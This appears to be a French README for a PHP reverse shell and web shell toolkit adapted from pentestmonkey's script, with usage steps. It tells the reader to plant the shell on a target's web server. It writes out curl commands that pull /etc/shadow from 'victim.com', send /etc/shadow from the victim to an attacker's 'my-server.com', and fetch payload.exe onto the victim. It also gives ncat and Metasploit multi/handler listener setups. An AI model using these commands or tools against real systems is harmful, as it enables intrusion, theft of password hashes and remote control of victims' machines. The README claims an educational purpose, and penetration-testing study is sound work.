
Shells PHP fonctionnant sur Linux, macOS et Windows.
Une petite mise à jour du célèbre script PHP reverse shell pentestmonkey/php-reverse-shell. Crédits à l'auteur original !
Fonctionne sur Linux et macOS avec /bin/sh et sur Windows avec cmd.exe. Le script détectera automatiquement le système d'exploitation sous-jacent.
Fonctionne avec ncat et multi/handler.
Testé sur :
Les canaux de processus sous Windows ne prennent pas en charge les opérations asynchrones, donc stream_set_blocking(), stream_select() et feof() ne fonctionneront pas correctement, mais j'ai trouvé une solution de contournement.
Conçu à des fins éducatives. J'espère que cela vous sera utile !
/src/reverse/php_reverse_shell.php nécessite PHP v5.0.0 ou supérieur.
/src/reverse/php_reverse_shell_older.php nécessite PHP v4.3.0 ou supérieur.
Modifiez l'adresse IP et le numéro de port dans les scripts si nécessaire.
Copiez /src/reverse/php_reverse_shell.php dans le répertoire racine web de votre serveur (par ex. dans /opt/lampp/htdocs/ sur XAMPP) ou envoyez-le sur le serveur web de votre cible.
Accédez au fichier avec votre navigateur web préféré.
Consultez le simple web shell PHP basé sur une requête HTTP POST.
Consultez le simple web shell PHP basé sur une requête HTTP GET. Vous devez encoder vos commandes en URL.
Consultez le simple web shell PHP v2 basé sur une requête HTTP GET. Vous devez encoder vos commandes en URL.
Consultez le script PHP simple d'upload/download de fichiers basé sur une requête HTTP POST pour l'upload de fichiers et une requête HTTP GET pour le téléchargement de fichiers.
Lors du téléchargement d'un fichier, vous devez encoder le chemin du fichier en URL.
Selon la configuration du serveur, le téléchargement d'un fichier via le paramètre de requête HTTP GET peut ne pas toujours fonctionner ; dans ce cas, vous devrez coder en dur le chemin du fichier dans le script.
Accédez au script sur le serveur web de la victime avec votre navigateur web préféré, ou utilisez cURL depuis votre PC.
Envoyez un fichier vers le répertoire racine web du serveur depuis votre PC :
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Téléchargez un fichier du serveur vers votre PC :
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Si vous avez élevé vos privilèges initiaux dans votre reverse shell, ce script peut ne pas avoir les mêmes privilèges que le shell. Dans ce cas, pour télécharger un fichier spécifique, vous devrez peut-être copier le fichier dans le répertoire racine web et définir les permissions de lecture nécessaires.
Depuis votre reverse shell PHP, exécutez les commandes cURL suivantes.
Envoyez un fichier depuis le PC de la victime vers le répertoire racine web de votre serveur :
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Téléchargez un fichier depuis le répertoire racine web de votre serveur vers le PC de la victime :
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Pour configurer un écouteur, ouvrez la console de votre choix sur Kali Linux et exécutez l'un des exemples ci-dessous.
Configurez un écouteur ncat :
ncat -nvlp 9000
Configurez un écouteur multi/handler :
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Figure 1 - Ncat

Figure 2 - Dump du script